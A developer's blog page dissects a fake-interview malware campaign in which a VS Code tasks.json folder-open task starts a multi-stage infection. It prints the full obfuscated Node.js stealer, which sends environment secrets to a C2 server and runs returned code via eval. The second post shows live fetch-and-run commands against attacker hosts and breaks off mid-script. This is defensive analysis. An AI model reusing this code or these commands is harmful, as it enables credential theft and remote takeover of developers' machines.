Nrishinghananda Roy | DevOps Engineer

The Fake Interview Trap: Reverse-Engineering a Info-Stealer

2026-05-24T00:00:00+00:00

TL;DR</h2>
Threat actors are targeting developers using fake technical interviews. By tricking candidates into opening a seemingly benign GitHub repository in VS Code, an automated `.vscode/tasks.json</code> exploit triggers a multi-stage infection chain. The final payload is a highly obfuscated Node.js script that exfiltrates process.env</code> secrets (API keys, database credentials) and establishes a persistent Command & Control (C2) beacon with an eval()</code> Remote Code Execution (RCE) backdoor.</p>`
`If you are asked to clone and open a random repository for an interview, inspect the hidden folders first.</p>`

Introduction: The Social Engineering Trap</h2>
Recently, I encountered a highly sophisticated malware campaign disguised as a technical interview.
The "recruiter" instructed me to clone a repository and open it in Visual Studio Code to complete an assessment.
Because I use a terminal-based editor, I naturally inspected the directory structure first and spotted a glaring red flag: a hidden .vscode/tasks.json</code> file weaponized to execute malicious shell commands upon opening the folder.</p>
After publishing my initial findings, a senior engineer informed me that he had just faced the exact same interview trap and avoided it.</p>
This post serves as a deep dive into the complete infection chain, reverse-engineering the final, heavily obfuscated JavaScript payload to expose exactly how this threat operates.</p>
The Infection Chain (Stages 1 & 2)</h2>
This campaign relies on a "Bring Your Own Runtime" philosophy, ensuring the malware executes regardless of the victim's local development setup.</p>
Stage 1: Initial Access (The VS Code Exploit)</h3>
The malicious repository contains no obvious malware in its application code. Instead, the attacker abuses VS Code's native workspace automation. The .vscode/tasks.json</code> file utilizes the runOn: folderOpen</code> trigger.</p>
// WARNING: DEFANGED MALWARE SNIPPET</span></span>
// DO NOT EXECUTE. </span></span>
{</span></span>
  "</span>version</span>": "</span>2.0.0</span>",</span></span>
  "</span>tasks</span>": [</span></span>
    {</span></span>
      "</span>label</span>": "</span>install-root-modules</span>",</span></span>
      "</span>type</span>": "</span>shell</span>",</span></span>
      "</span>command</span>": "</span>npm install --silent --no-progress</span>",</span></span>
      // ... [Truncated for brevity] ...</span></span>
      "</span>runOptions</span>": {</span></span>
        "</span>runOn</span>": "</span>folderOpen</span>"</span></span>
      }</span></span>
    },</span></span>
    {</span></span>
      "</span>label</span>": "</span>env</span>",</span></span>
      "</span>type</span>": "</span>shell</span>",</span></span>
      "</span>osx</span>": {</span></span>
        "</span>command</span>": "</span>curl -L 'hXXps://[REDACTED-C2-DOMAIN].vercel.app/settings/mac' | echo 'Execution Neutralized'</span>"</span></span>
      },</span></span>
      "</span>linux</span>": {</span></span>
        "</span>command</span>": "</span>wget -qO- 'hXXps://[REDACTED-C2-DOMAIN].vercel.app/api/settings/linux' | echo 'Execution Neutralized'</span>"</span></span>
      },</span></span>
      "</span>windows</span>": {</span></span>
        "</span>command</span>": "</span>curl --ssl-no-revoke -L hXXps://[REDACTED-C2-DOMAIN].vercel.app/api/settings/windows | echo 'Execution Neutralized'</span>"</span></span>
      },</span></span>
      "</span>runOptions</span>": {</span></span>
        "</span>runOn</span>": "</span>folderOpen</span>"</span></span>
      }</span></span>
    }</span></span>
  ]</span></span>
}</span></span></code></pre>
The moment the developer opens the folder in VS Code, the editor blindly executes the wget</code> command, downloading a shell script and piping it directly into the system shell (sh</code>). This achieves fileless, in-memory execution for the first stage.</p>
# #!/bin/bash</span></span>
# WARNING: DEFANGED MALWARE SNIPPET</span></span>
set</span> -e</span></span>
echo</span> "</span>Authenticated</span>"</span></span>
TARGET_DIR</span>="</span>$HOME</span>/.vscode</span>"</span></span>
mkdir</span> -p</span> "</span>$TARGET_DIR</span>"</span></span>
clear</span></span>
wget</span> -q -O</span> "</span>$TARGET_DIR</span>/vscode-bootstrap.sh</span>" "</span>hXXps://[REDACTED-C2-DOMAIN].vercel.app/api/settings/bootstraplinux</span>"</span></span>
clear</span></span>
chmod</span> +x</span> "</span>$TARGET_DIR</span>/vscode-bootstrap.sh</span>"</span></span>
clear</span></span>
# nohup bash "$TARGET_DIR/vscode-bootstrap.sh"  <-- [EXECUTION NEUTRALIZED]</span></span>
clear</span></span>
exit</span> 0</span></span></code></pre>Stage 2: Staging and Environment Provisioning</h3>
The stage1.sh</code> script is a lightweight dropper that reaches out to the attacker's infrastructure to download a secondary script.</p>
# #!/bin/bash </span></span>
# WARNING: DEFANGED MALWARE SNIPPET</span></span>
# ... [Node.js Installation Logic Truncated for Safety & Brevity] ...</span></span>
</span>
mkdir</span> -p</span> "</span>$HOME</span>/.vscode</span>"</span></span>
BASE_URL</span>="</span>hXXps://[REDACTED-C2-DOMAIN].vercel.app/api</span>"</span></span>
echo</span> "</span>[INFO] Downloading env-setup.js and package.json...</span>"</span></span>
if</span> !</span> command</span> -v curl</span> ></span>/dev/null</span> 2>&1;</span> then</span></span>
    wget</span> -q -O</span> "</span>$HOME</span>/.vscode/env-setup.js</span>" "</span>hXXps://[REDACTED-C2-DOMAIN].vercel.app/api/settings/env</span>"</span></span>
    wget</span> -q -O</span> "</span>$HOME</span>/.vscode/package.json</span>" "</span>hXXps://[REDACTED-C2-DOMAIN].vercel.app/api/settings/package</span>"</span></span>
else</span></span>
    curl</span> -s -L -o</span> "</span>$HOME</span>/.vscode/env-setup.js</span>" "</span>hXXps://[REDACTED-C2-DOMAIN].vercel.app/api/settings/env</span>"</span></span>
    curl</span> -s -L -o</span> "</span>$HOME</span>/.vscode/package.json</span>" "</span>hXXps://[REDACTED-C2-DOMAIN].vercel.app/api/settings/package</span>"</span></span>
fi</span></span>
</span>
if</span> [ -f "</span>$HOME</span>/.vscode/env-setup.js</span>" ];</span> then</span></span>
    echo</span> "</span>[INFO] Running env-setup.js...</span>"</span></span>
    # "$NODE_EXE" "$HOME/.vscode/env-setup.js" <-- [EXECUTION NEUTRALIZED]</span></span>
else</span></span>
    echo</span> "</span>[ERROR] env-setup.js not found.</span>"</span></span>
    exit</span> 1</span></span>
fi</span></span>
echo</span> "</span>[SUCCESS] Script completed successfully.</span>"</span></span>
exit</span> 0</span></span></code></pre>
This secondary script has two jobs:</p>

Provision Node.js:</strong> It silently downloads and installs a portable, standalone Node.js binary. The attacker does not rely on the victim having Node installed.</li>
Payload Delivery:</strong> It downloads the Stage 3 payload—a heavily obfuscated JavaScript file—and executes it using the newly provisioned Node runtime.</li>
</ol>
Deconstructing the Payload (Stage 3)</h2>
In many traditional attacks, Stage 3 downloads a compiled binary (Stage 4). However, this JavaScript payload is the end of the hardcoded line. It acts as an advanced Command and Control (C2) agent and an info-stealer.</p>
const</span> _0x5650f6</span> =</span> _0x3354</span>;</span></span>
function</span> _0x3354</span>(</span>_0x1ca2c0</span>,</span> _0x22f8ca</span>) {</span></span>
  _0x1ca2c0</span> -=</span> 164</span>;</span></span>
  const</span> _0x13b2b6</span> =</span> _0x363b</span>()</span>;</span></span>
  let</span> _0x1fc9b5</span> =</span> _0x13b2b6</span>[</span>_0x1ca2c0</span>]</span>;</span></span>
  if</span> (</span>_0x3354</span>.</span>vVHMoe</span> === undefined</span>)</span> {</span></span>
    _0x3354</span>.</span>IEHMvl</span> =</span> function</span> (</span>_0x5008a2</span>) {</span></span>
      let</span> _0x160a8e</span> = "";</span></span>
      let</span> _0x158494</span> = "";</span></span>
      for</span> (</span>let</span> _0x5d9a59</span>,</span> _0x367474</span>,</span> _0x2c8694</span> =</span> 0</span>,</span> _0x3943d4</span> =</span> 0</span>;</span> _0x367474</span> =</span> _0x5008a2</span>.</span>charAt</span>(</span>_0x3943d4</span>++</span>)</span>; ~</span>_0x367474</span> &&</span> (</span>_0x5d9a59</span> =</span> _0x2c8694</span> %</span> 4</span> ?</span> _0x5d9a59</span> *</span> 64</span> +</span> _0x367474</span> :</span> _0x367474</span>,</span> _0x2c8694</span>++ %</span> 4</span>)</span> ?</span> _0x160a8e</span> +=</span> String</span>.</span>fromCharCode</span>(</span>_0x5d9a59</span> >></span> (</span>_0x2c8694</span> * -</span>2</span> &</span> 6</span>)</span> &</span> 255</span>)</span> :</span> 0</span>)</span> {</span></span>
        _0x367474</span> = "</span>abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=</span>".</span>indexOf</span>(</span>_0x367474</span>)</span>;</span></span>
      }</span></span>
      for</span> (</span>let</span> _0x5d911f</span> =</span> 0</span>,</span> _0x3fb6a0</span> =</span> _0x160a8e</span>.</span>length</span>;</span> _0x5d911f</span> <</span> _0x3fb6a0</span>;</span> _0x5d911f</span>++</span>)</span> {</span></span>
        _0x158494</span> += "</span>%</span>" +</span> (</span>"</span>00</span>" +</span> _0x160a8e</span>.</span>charCodeAt</span>(</span>_0x5d911f</span>)</span>.</span>toString</span>(</span>16</span>))</span>.</span>slice</span>(</span>-</span>2</span>)</span>;</span></span>
      }</span></span>
      return</span> decodeURIComponent</span>(</span>_0x158494</span>)</span>;</span></span>
    };</span></span>
    _0x3354</span>.</span>iMiDpW</span> = {};</span></span>
    _0x3354</span>.</span>vVHMoe</span> =</span> true</span>;</span></span>
  }</span></span>
  const</span> _0xf0e045</span> =</span> _0x1ca2c0</span> +</span> _0x13b2b6</span>[</span>0</span>]</span>;</span></span>
  const</span> _0x1cbbf4</span> =</span> _0x3354</span>.</span>iMiDpW</span>[</span>_0xf0e045</span>]</span>;</span></span>
  if</span> (</span>_0x1cbbf4</span>)</span> {</span></span>
    _0x1fc9b5</span> =</span> _0x1cbbf4</span>;</span></span>
  }</span> else</span> {</span></span>
    _0x1fc9b5</span> =</span> _0x3354</span>.</span>IEHMvl</span>(</span>_0x1fc9b5</span>)</span>;</span></span>
    _0x3354</span>.</span>iMiDpW</span>[</span>_0xf0e045</span>]</span> =</span> _0x1fc9b5</span>;</span></span>
  }</span></span>
  return</span> _0x1fc9b5</span>;</span></span>
}</span></span>
function</span> _0x363b</span>() {</span></span>
  const</span> _0x269185</span> =</span> [</span>"</span>owL4s1D0vG</span>", "</span>mda6mda6mda6mda6mda6mda</span>", "</span>C3rYAw5NAwz5</span>", "</span>zNjVBq</span>", "</span>zxjYB3i</span>", "</span>otGYnJe3u1bQsKf2</span>", "</span>oenrv2TXrW</span>", "</span>Aw50zxjUywW</span>", "</span>zxHPDa</span>", "</span>BMv0D29YA0LUDgvYzMfJzxm</span>", "</span>DMfSDwvZ</span>", "</span>zMLUza</span>", "</span>yuHsmgneB3zmELeXtgPrEKXQrxHmAKL4tvrVEe1QstbmmKz3yvm5AMfhvMPHmu4WwvHsmwn3pt0</span>", "</span>mZCYmJq2n0fgs1nhta</span>", "</span>mZq3nZu2mMvdvMTiuG</span>", "</span>ANnVBG</span>", "</span>Ag9ZDg5HBwu</span>", "</span>ndu1ntKYmfnmwKf3tG</span>", "</span>yMfZzty0</span>", "</span>mJm4mJK5me94DNfsqq</span>", "</span>nuXHCMn4wG</span>", "</span>DxrMoa</span>", "</span>mty2v1Dcsuju</span>", "</span>ngzKuM1osG</span>", "</span>CgXHDgzVCM0</span>", "</span>BwfJ</span>", "</span>svb2na</span>", "</span>mZa0nJu2qKDAr3zh</span>", "</span>nda0nMr5A2HxCq</span>", "</span>Dg9tDhjPBMC</span>"</span>]</span>;</span></span>
  return</span> (</span>_0x363b</span> =</span> function</span> () {</span></span>
    return</span> _0x269185</span>;</span></span>
  }</span>)()</span>;</span></span>
}</span></span>
(</span>function</span> (</span>_0x3c4758</span>,</span> _0x149891</span>) {</span></span>
  const</span> _0x492dd2</span> =</span> _0x3354</span>;</span></span>
  const</span> _0x130bf3</span> =</span> _0x363b</span>()</span>;</span></span>
  while</span> (</span>true</span>)</span> {</span></span>
    try</span> {</span></span>
      if</span> (</span>parseInt</span>(</span>_0x492dd2</span>(</span>171</span>))</span> /</span> 1</span> *</span> (</span>-</span>parseInt</span>(</span>_0x492dd2</span>(</span>177</span>))</span> /</span> 2</span>)</span> + -</span>parseInt</span>(</span>_0x492dd2</span>(</span>184</span>))</span> /</span> 3</span> *</span> (</span>-</span>parseInt</span>(</span>_0x492dd2</span>(</span>172</span>))</span> /</span> 4</span>)</span> + -</span>parseInt</span>(</span>_0x492dd2</span>(</span>169</span>))</span> /</span> 5</span> *</span> (</span>-</span>parseInt</span>(</span>_0x492dd2</span>(</span>176</span>))</span> /</span> 6</span>)</span> + -</span>parseInt</span>(</span>_0x492dd2</span>(</span>192</span>))</span> /</span> 7</span> *</span> (</span>-</span>parseInt</span>(</span>_0x492dd2</span>(</span>185</span>))</span> /</span> 8</span>)</span> + -</span>parseInt</span>(</span>_0x492dd2</span>(</span>179</span>))</span> /</span> 9</span> *</span> (</span>parseInt</span>(</span>_0x492dd2</span>(</span>168</span>))</span> /</span> 10</span>)</span> +</span> parseInt</span>(</span>_0x492dd2</span>(</span>193</span>))</span> /</span> 11</span> + -</span>parseInt</span>(</span>_0x492dd2</span>(</span>166</span>))</span> /</span> 12</span> ===</span> 272461</span>)</span> {</span></span>
        break</span>;</span></span>
      }</span></span>
      _0x130bf3</span>.</span>push</span>(</span>_0x130bf3</span>.</span>shift</span>())</span>;</span></span>
    }</span> catch</span> (</span>_0x17c646</span>)</span> {</span></span>
      _0x130bf3</span>.</span>push</span>(</span>_0x130bf3</span>.</span>shift</span>())</span>;</span></span>
    }</span></span>
  }</span></span>
}</span>)()</span>;</span></span>
const</span> os</span> =</span> require</span>(</span>"</span>os</span>"</span>)</span>;</span></span>
var</span> sysId</span> =</span> 0</span>;</span></span>
function</span> getSystemInfo</span>() {</span></span>
  const</span> _0x55bf55</span> =</span> _0x3354</span>;</span></span>
  const</span> _0x15b00f</span> =</span> os</span>[</span>_0x55bf55</span>(</span>165</span>)]()</span>;</span></span>
  const</span> _0xd6f4f2</span> =</span> os</span>.</span>type</span>()</span>;</span></span>
  const</span> _0x5dbe7b</span> =</span> os</span>.</span>release</span>()</span>;</span></span>
  const</span> _0x2272bd</span> =</span> os</span>[</span>_0x55bf55</span>(</span>173</span>)]()</span>;</span></span>
  const</span> _0x1e6675</span> =</span> Object</span>[</span>_0x55bf55</span>(</span>189</span>)](</span>os</span>[</span>_0x55bf55</span>(</span>188</span>)]())</span>.</span>flat</span>()[</span>_0x55bf55</span>(</span>190</span>)](</span>_0x3e2c75</span> =></span> _0x55bf55</span>(</span>175</span>)</span> ===</span> _0x3e2c75</span>.</span>family</span> && !</span>_0x3e2c75</span>[</span>_0x55bf55</span>(</span>186</span>)]</span> &&</span> _0x55bf55</span>(</span>180</span>)</span> !==</span> _0x3e2c75</span>[</span>_0x55bf55</span>(</span>174</span>)])</span>?.</span>mac</span>;</span></span>
  return</span> {</span></span>
    hostname</span>:</span> _0x15b00f</span>,</span></span>
    macs</span>:</span> [</span>_0x1e6675</span>]</span>,</span></span>
    os</span>:</span> _0xd6f4f2</span> + " " +</span> _0x5dbe7b</span> + "</span> (</span>" +</span> _0x2272bd</span> + "</span>)</span>"</span></span>
  };</span></span>
}</span></span>
async function</span> sendRequest</span>(</span>_0xc843c2</span>) {</span></span>
  const</span> _0x597000</span> =</span> _0x3354</span>;</span></span>
  try</span> {</span></span>
    const</span> _0x48be04</span> = new</span> URLSearchParams</span>(</span>{</span></span>
      sysInfo</span>:</span> JSON</span>[</span>_0x597000</span>(</span>181</span>)](</span>_0xc843c2</span>)</span>,</span></span>
      processInfo</span>:</span> JSON</span>[</span>_0x597000</span>(</span>181</span>)](</span>process</span>.</span>env</span>)</span>,</span></span>
      tid</span>: "</span>d2UgYXJlIGdvaW5nIHRvIGRvIGJpZyBvbmU=</span>",</span></span>
      sysId</span>:</span> sysId</span></span>
    }</span>)</span>;</span></span>
    const</span> _0x5f225a</span> =</span> Buffer</span>[</span>_0x597000</span>(</span>182</span>)](</span>_0x597000</span>(</span>191</span>)</span>,</span> _0x597000</span>(</span>167</span>))[</span>_0x597000</span>(</span>178</span>)](</span>_0x597000</span>(</span>170</span>))</span>;</span></span>
    const</span> _0x1c1994</span> =</span> await</span> fetch</span>(</span>_0x5f225a</span> + "</span>?</span>" +</span> _0x48be04</span>)</span>;</span></span>
    const</span> {</span></span>
      status</span>:</span> _0x382e87</span>,</span></span>
      message</span>:</span> _0x54ac37</span>,</span></span>
      sysId</span>:</span> _0x1c015b</span></span>
    } =</span> await</span> _0x1c1994</span>[</span>_0x597000</span>(</span>164</span>)]()</span>;</span></span>
    if</span> (</span>_0x597000</span>(</span>183</span>)</span> ===</span> _0x382e87</span>)</span> {</span></span>
      try</span> {</span></span>
        eval</span>(</span>_0x54ac37</span>)</span>;</span></span>
      }</span> catch</span> (</span>_0x5b71d4</span>)</span> {}</span></span>
    }</span></span>
    if</span> (</span>_0x1c015b</span>)</span> {</span></span>
      sysId</span> =</span> _0x1c015b</span>;</span></span>
    }</span></span>
  }</span> catch</span> (</span>_0x393f32</span>)</span> {</span></span>
    console</span>[</span>_0x597000</span>(</span>183</span>)](</span>_0x393f32</span>)</span>;</span></span>
  }</span></span>
}</span></span>
try</span> {</span></span>
  const</span> e</span> =</span> getSystemInfo</span>()</span>;</span></span>
  sendRequest</span>(</span>e</span>)</span>;</span></span>
  setInterval</span>(</span>()</span> =></span> {</span></span>
    sendRequest</span>(</span>e</span>)</span>;</span></span>
  },</span> 5000</span>)</span>;</span></span>
}</span> catch</span> (_0x24d605)</span> {</span></span>
  console</span>[</span>_0x5650f6</span>(</span>183</span>)](</span>_0x24d605</span>)</span>;</span></span>
  process</span>[</span>_0x5650f6</span>(</span>187</span>)](</span>1</span>)</span>;</span></span>
}</span></span></code></pre>Evasion & Anti-Tampering</h3>
To evade static analysis, the threat actor stripped all plaintext strings (e.g., "hostname", "process.env", "stringify") and replaced them with an encrypted array. The script uses a custom Base64 decoding loop mapped to a reversed, non-standard alphabet.</p>
Furthermore, it employs an Array State Validation mechanism via an Immediately Invoked Function Expression (IIFE):</p>
(</span>function</span> (</span>_0x3c4758</span>,</span> _0x149891</span>) {</span></span>
  const</span> _0x130bf3</span> =</span> _0x363b</span>()</span>;</span> // The encrypted dictionary array</span></span>
  while</span> (</span>true</span>)</span> {</span></span>
    try</span> {</span></span>
      // Calculates a checksum based on integer parsing of specific array indices</span></span>
      if</span> (</span>parseInt</span>(</span>...</span>)</span> /</span> 1</span> *</span> (</span>-</span>parseInt</span>(</span>...</span>)</span> /</span> 2</span>)</span> + ... ===</span> 272461</span>)</span> {</span></span>
        break</span>;</span> // Array is aligned; unlock execution</span></span>
      }</span></span>
      _0x130bf3</span>.</span>push</span>(</span>_0x130bf3</span>.</span>shift</span>())</span>;</span></span>
    }</span> catch</span> (</span>e</span>)</span> {</span></span>
      _0x130bf3</span>.</span>push</span>(</span>_0x130bf3</span>.</span>shift</span>())</span>;</span></span>
    }</span></span>
  }</span></span>
}</span>)()</span>;</span></span></code></pre>
This loop acts as an anti-tampering lock. It continuously shifts the elements of the dictionary array until a complex mathematical equation evaluates exactly to 272461</code>.
This ensures the array is in the correct sequence before execution.
If an analyst attempts to deobfuscate the script by modifying the Abstract Syntax Tree (AST) or altering the dictionary indices, the checksum fails, and the script falls into an infinite loop, crashing the analysis environment.</p>
Host Reconnaissance</h3>
Once unlocked, the malware fingerprints the machine. It utilizes Node's native os</code> module to construct a specific system profile.</p>
It retrieves the os.hostname()</code>, os.type()</code>, os.release()</code>, and os.arch()</code>. To uniquely identify the infected host, it aggressively hunts for the physical MAC address.
It iterates through os.networkInterfaces()</code>, flattening the output and filtering with strict parameters:
_0x3e2c75 => "IPv4" === _0x3e2c75.family && !_0x3e2c75.internal && "127.0.0.1" !== _0x3e2c75.address</code>
This guarantees the script ignores local loopbacks and virtual interfaces, targeting the outward-facing network adapter.
The resulting schema prepared for exfiltration looks exactly like this:</p>
{</span></span>
  "</span>hostname</span>": "</span>developer-macbook-pro</span>",</span></span>
  "</span>macs</span>": ["</span>00:1A:2B:3C:4D:5E</span>"],</span></span>
  "</span>os</span>": "</span>Darwin 23.0.0 (x64)</span>"</span></span>
}</span></span></code></pre>The Exfiltration Payload (Stealing Secrets)</h3>
The most devastating function of this malware is the theft of the developer's environment variables.</p>
const</span> _0x48be04</span> = new</span> URLSearchParams</span>(</span>{</span></span>
  sysInfo</span>:</span> JSON</span>.</span>stringify</span>(_0xc843c2)</span>,</span></span>
  processInfo</span>:</span> JSON</span>.</span>stringify</span>(process</span>.</span>env)</span>,</span></span>
  tid</span>: "</span>d2UgYXJlIGdvaW5nIHRvIGRvIGJpZyBvbmU=</span>",</span></span>
  sysId</span>:</span> sysId</span></span>
}</span>)</span>;</span></span></code></pre>
The script bundles the reconnaissance data alongside JSON.stringify(process.env)</code>.
For developers, process.env</code> frequently contains highly privileged credentials: AWS access keys, production database URIs, and JWT signing secrets.</p>
A Forensic Observation on the GET Request</strong>: The malware packages this massive payload into a URLSearchParams</code> object and exfiltrates it via an HTTP GET</code> request, appending it directly to the C2 URL (fetch(url + "?" + params)</code>).
While this avoids triggering Intrusion Detection Systems (IDS) that only inspect POST</code> request bodies, it exposes a flaw in the attacker's design.
Because process.env</code> can be several kilobytes in size, this exfiltration method risks hitting server-side URI length limits, potentially resulting in 414 URI Too Long</code> HTTP errors before the data successfully reaches the attacker.</p>
The C2 Beacon and RCE Backdoor</h3>
After firing the initial exfiltration request, the script awaits a JSON response from the attacker's Command and Control (C2) server. It expects three parameters: status</code>, message</code>, and sysId</code>.</p>
const</span> {</span> status</span>:</span> _0x382e87</span>,</span> message</span>:</span> _0x54ac37</span>,</span> sysId</span>:</span> _0x1c015b</span> } =</span> await</span> _0x1c1994</span>.</span>json</span>()</span>;</span></span>
</span>
if</span> (</span>"</span>error</span>" ===</span> _0x382e87)</span> {</span> // Deobfuscated dictionary mapping</span></span>
  try</span> {</span> eval</span>(</span>_0x54ac37</span>)</span>; }</span> catch</span> (</span>_0x5b71d4</span>)</span> {}</span></span>
}</span></span>
if</span> (_0x1c015b)</span> {</span> sysId</span> =</span> _0x1c015b</span>; }</span></span></code></pre>
The Status Anomaly & RCE</strong>: Forensic analysis of the dictionary maps the required trigger status to the string "error"</code>.
While counterintuitive, this is a common obfuscator optimization: the threat actor reuses the dictionary string "error"</code> (which is also used later in the script for console.error</code>) to validate the backdoor, saving file space.</p>
If the server replies with status: "error"</code>, the malware passes the attacker's message string directly into eval()</code>. This grants the attacker silent, unauthenticated Remote Code Execution (RCE)</strong>. The try...catch</code> block is intentionally empty, swallowing syntax errors to prevent the Node application from crashing and alerting the developer.</p>
Session Persistence</strong>: The sysId</code> variable allows the attacker to track active sessions.
The server responds with a unique integer (_0x1c015b</code>), which the malware saves locally. Wrapped in a setInterval</code> loop of 5000ms, the infected host becomes a beaconing zombie, repeatedly polling the C2 server with its assigned sysId</code>, asking for new arbitrary code to execute in memory.</p>
Indicators of Compromise (IOCs)</h2>
By contextually analyzing the script and replicating the custom Base64 decryption logic, I extracted the primary infrastructure endpoints.</p>

Target Vector:</strong> Node.js environments (process.env</code>), VS Code Workspaces.</li>
C2 Endpoint:</strong> hXXps://[REDACTED-C2-DOMAIN]/api/receive</code> (Defanged for safety; submitted to authorities).</em></li>
Tracking ID (Base64):</strong> d2UgYXJlIGdvaW5nIHRvIGRvIGJpZyBvbmU=</code> (Decodes to: "we are going to do big one"</em>)</li>
Execution Interval:</strong> 5000ms beaconing.</li>
</ul>
Defensive Posture & Safety Recommendations</h2>
As developers, our local environments are highly privileged. We must adopt a zero-trust mindset, even with interview assignments.</p>
For Developers:</h3>

Disable Auto-Tasks in VS Code:</strong> Never blindly open untrusted repositories. In VS Code, press Ctrl+Shift+P</code> (or Cmd+Shift+P</code>), search for "Tasks: Manage Automatic Tasks"</strong>, and ensure automatic execution is disabled or prompts for permission.</li>
Inspect Hidden Folders:</strong> Always check the .vscode</code>, .git/hooks</code>, and package.json</code> (pre/post-install scripts) of unverified repositories in a basic text editor or terminal before opening them in a fully-featured IDE.</li>
Use Environment Variable Managers:</strong> Avoid keeping long-lived, highly privileged cloud credentials in your global process.env</code> or ~/.bashrc</code>. Use scoped secret managers (like AWS Vault or Doppler) that inject secrets only when a specific process is running.</li>
</ol>
Threat Reporting & Community Defense:</h3>
If you encounter this or similar malware, do not just delete it. Isolate it and extract the IOCs to protect the community.</p>

National Authorities:</strong> Report the incident and share the malicious IPs/URLs with your national cyber agency.</li>
Community Platforms:</strong> Upload the raw malicious scripts to VirusTotal</strong> and report the C2 IP addresses to AbuseIPDB</strong>. This allows automated firewalls globally to block the threat actor's infrastructure, severing their access to other victims.</li>
</ul>
Stay safe, verify everything, and happy coding.</p>



Down the Rabbit Hole: How I Reverse Engineered a Multi-Stage Malware Attack
2026-04-30T00:00:00+00:00
Introduction</h2>
Recently, I encountered and dismantled a highly sophisticated, multi-stage credential stealer. This campaign bypassed traditional phishing vectors, utilizing IDE execution traps, IP-locked dynamic payloads, custom XOR obfuscation, and Cython-compiled binaries to establish persistence and exfiltrate data silently.</p>
This post documents the complete attack chain, the operational security measures required to safely analyze it, and the reverse engineering techniques used to break the attacker's defenses at every stage.</p>
I conducted the entire analysis within an isolated Debian Linux Virtual Machine.</p>
A strict "Terminal-Only" rule was enforced during the initial triage.</p>


No IDEs: Opening a suspicious repository in VS Code, IntelliJ, or WebStorm is an immediate compromise hazard due to auto-execution features (which this malware specifically exploited).</p>
</li>

Text Inspection: File inspection was limited to terminal pagers and text editors (helix</code>, less -S</code>).</p>
</li>

Payload Handling: Network interception and payload extraction were handled using stripped-down wget</code> commands.</p>
</li>

Binary Restraint: Compiled binaries were never executed. Triage was limited to static analysis tools (readelf</code>, strings</code>, file</code>).</p>
</li>
</ul>
PHASE 1: The Initial Access Vector</h2>
The threat actor assumes the victim will clone their compromised repository and open it directly in Visual Studio Code IDE. To uncover the execution trigger without infecting my machine, I inspected the configuration files manually via the terminal.</p>
Static analysis of the cloned repository revealed a malicious execution trigger hidden inside .vscode/tasks.json</code> file.</p>

.vscode/tasks.json</code></p>
</blockquote>
"</span>runOptions</span>"</span>: </span>{</span></span>
  "</span>runOn</span>": "</span>folderOpen</span>"</span></span>
}</span>,</span></span>
"</span>linux</span>"</span>: </span>{</span></span>
  "</span>command</span>":                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "</span>wget -qO- 'https://gurucooldown.short.gy/gxUsMe8l' -L | sh</span>"</span></span>
}</span></span></code></pre>

(you need to scroll horizontally to the right)
This is NOT the complete .vscode/tasks.json file content. Displaying only selected part.</p>
</blockquote>
The Mechanism:</strong>
The attacker abused VS Code's native task automation. By using specific flags like "runOn": "folderOpen"</code>, the IDE is instructed to silently execute a remote bash script the exact moment the repository is opened. The terminal is hidden from the user, making the initial infection invisible.</p>
PHASE 2: Defeating the Stage 1 Attack</h2>
The tasks.json</code> file downloads a shell script from a remote server and pipes it to the shell. So anyone opening this repository using VsCode is automatically attacked. Fortunately, I used my daily driver Helix editor. For the past couple years I've been a total terminal guy. So I happen to use my favourite editor: Helix</code></strong>. This allowed me to see the .vscode</code> directory and suspicious code in the tasks.json</code>. So  I manually downloaded the file safely using wget</code>.</p>

wget -qO payload.txt 'https://gurucooldown.short.gy/gxUsMe8l'</code></p>
</blockquote>
#!/bin/bash</span></span>
set</span> -e</span></span>
echo</span> "</span>Authenticated</span>"</span></span>
TARGET_DIR</span>="</span>$HOME</span>/Documents</span>"</span></span>
clear</span></span>
wget</span> -q -O</span> "</span>$TARGET_DIR</span>/tokenlinux.npl</span>" "</span>http://165.140.86.190:3000/task/tokenlinux?token=40abc18736c9&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTkuMTY3LjM4Iiwic2Vzc2lvbklkIjoiMzk1NjU5MTQtYzg3Zi00ZGUwLWE1MTUtNmQwMmJjYjYyOWY2Iiwic3RlcCI6MSwidGltZXN0YW1wIjoxNzc3NDU4ODUwNDgzLCJvcmlnVG9rZW4iOiI0MGFiYzE4NzM2YzkiLCJpYXQiOjE3Nzc0NTg4NTAsImV4cCI6MTc3NzQ1OTAzMH0.-TgaACMUSDLG67sxnGOUzUvLpUJIJaVZxJHMxRxjRMs</span>"</span></span>
clear</span></span>
mv</span> "</span>$TARGET_DIR</span>/tokenlinux.npl</span>" "</span>$TARGET_DIR</span>/tokenlinux.sh</span>"</span></span>
clear</span></span>
chmod</span> +x</span> "</span>$TARGET_DIR</span>/tokenlinux.sh</span>"</span></span>
clear</span></span>
$//' "$TARGET_DIR/tokenlinux.sh"</span></span>
clear</span></span>
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &</span></span>
clear</span></span>
exit 0</span></span></code></pre>
Notice the JWT in the URL parameter. Upon decoding that, I got:</p>
{</span></span>
  "</span>ip</span>": "</span>::ffff:152.59.167.38</span>",</span></span>
  "</span>sessionId</span>": "</span>39565914-c87f-4de0-a515-6d02bcb629f6</span>",</span></span>
  "</span>step</span>":</span> 1</span>,</span></span>
  "</span>timestamp</span>":</span> 1777458850483</span>,</span></span>
  "</span>origToken</span>": "</span>40abc18736c9</span>",</span></span>
  "</span>iat</span>":</span> 1777458850</span>,</span></span>
  "</span>exp</span>":</span> 1777459030</span></span>
}</span></span></code></pre>
It sents my IP (they didn't know I used VPN) with session id and attached a short time duration to avoid analysis. So I crafted a shell script to bypass this duration block and move pass this stage.</p>
The Discovery:</strong>
The downloaded bash script (payload.txt</code>) contained a Base64 encoded payload. Decoding it revealed a highly restrictive, time bound, IP-locked JWT authentication system designed specifically to block automated security sandboxes.</p>
The phase 2 attack shell script (tokenlinux.sh</code>) which is automatically downloaded and executed by the phase 1 shell script:</p>

tokenlinux.sh</code></p>
</blockquote>
#!/bin/bash</span></span>
# Creating new Info</span></span>
set</span> -e</span></span>
</span>
OS</span>=$(</span>uname</span> -s</span>)</span></span>
</span>
# Remove leading "v"</span></span>
LATEST_VERSION</span>="</span>20.11.1</span>"</span></span>
NODE_VERSION</span>=${</span>LATEST_VERSION</span>}</span></span>
</span>
NODE_TARBALL</span>="</span>node-v</span>${</span>NODE_VERSION</span>}"</span></span>
